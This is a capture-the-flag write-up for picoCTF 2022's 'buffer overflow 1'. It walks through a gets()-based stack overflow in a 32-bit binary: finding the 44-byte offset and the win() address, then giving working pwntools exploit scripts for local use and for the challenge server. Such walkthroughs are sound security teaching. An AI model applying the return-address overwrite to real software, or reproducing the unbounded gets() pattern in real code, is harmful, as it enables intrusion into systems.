Skip to content

Latest commit

 

History

History
222 lines (170 loc) · 7.17 KB

buffer_overflow_1.md

File metadata and controls

222 lines (170 loc) · 7.17 KB

buffer overflow 1

Challenge information

Points: 200
Tags: picoCTF 2022, Binary Exploitation
Author: SANJAY C / PALASH OSWAL

Description:
Control the return address

Now we're cooking! You can overflow the buffer and return to the flag function in the program.
You can view source here. And connect with it using nc saturn.picoctf.net 64722

Hints:
1. Make sure you consider big Endian vs small Endian.
2. Changing the address of the return pointer can call different functions.

Challenge link: https://play.picoctf.org/practice/challenge/258

Solution

Analyze the given files

Let's start by looking at the given files. First the C source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

We have a main function that calls a vuln function that is vulnerable to a buffer overflow due to the unbounded gets call. If we input more than BUFSIZE, that is 32 characters/bytes, we can overwrite the return address on the stack to call the win function instead of returning to main.

The vuln file is a 32-bit ELF binary

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ file vuln        
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=685b06b911b19065f27c2d369c18ed09fbadb543, for GNU/Linux 3.2.0, not stripped

Manually identifying the offset

Next, we need to identify the offset on the stack to the return address from vuln. If we send a specific sequence of characters that is a de Bruijn sequence we can easily calculate the offset to the memory address.

Creation of such a sequence can be done with pwntools cyclic or metasploit's msf-pattern_create.

And the lookup of the offset can then be done with cyclic or msf-pattern_offset.

We create a string that is a bit longer than 32 bytes, say 100 bytes.

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/cyclic 100   
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/cyclic 100 > pattern_100.txt

Then we try it out locally

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ cat pattern_100.txt | ./vuln
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
zsh: done                cat pattern_100.txt | 
zsh: segmentation fault  ./vuln

The returned value is 0x6161616c. Let's look this up

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/cyclic -l 0x6161616c  
44

So the offset on the stack to the return address is 44 bytes.

Get the addess of the win function

Now we need to find out the virtual address of the win function.
This can be done with objdump

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ objdump -t vuln | grep win
080491f6 g     F .text  0000008b              win

Or with gdb

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ gdb -batch -ex 'info functions' vuln | grep win
0x080491f6  win

So the address to win is 0x080491f6.

Write an exploit

Let's write a small exploit in Python with the help of pwntools

#!/usr/bin/python

from pwn import *
import sys

# Use either cyclic or msf-pattern_create/msf-pattern_offset to find the correct offset
offset = 44
padding = b'A'

win = p32(0x080491f6)      # Address to win function
payload = padding*offset + win
    
sys.stdout.buffer.write(payload)

Note that I used sys.stdout.buffer.write here rather than print.
print will most likely UTF-8 encode your output and it won't work!

And then we try it out locally

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ echo "picoCTF{fake_flag}" > flag.txt          

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/python local_exploit.py | ./vuln
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{fake_flag}
zsh: done                ~/python_venvs/pwntools/bin/python local_exploit.py | 
zsh: segmentation fault  ./vuln

It works, but later the program crashes due to un invalid memory address after the win function.
We can ignore this.

Get the flag

Finally, we modify the Python script to connect to the server instead

#!/usr/bin/python

from pwn import *

SERVER = 'saturn.picoctf.net'
PORT = 64722

io = remote(SERVER, PORT)

# Use either cyclic or msf-pattern_create/msf-pattern_offset to find the correct offset
offset = 44
padding = b'A'

win = p32(0x080491f6)      # Address to win function
payload = padding*offset + win
    
sys.stdout.buffer.write(payload)
    
io.sendline(payload)
print(io.recvallS())
io.close()

And then we run the script to get the flag

┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2022/Binary_Exploitation/Buffer_Overflow_1]
└─$ ~/python_venvs/pwntools/bin/python remote_exploit.py             
[+] Opening connection to saturn.picoctf.net on port 64722: Done
[+] Receiving all data: Done (127B)
[*] Closed connection to saturn.picoctf.net port 64722
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{<REDACTED>}

For additional information, please see the references below.

References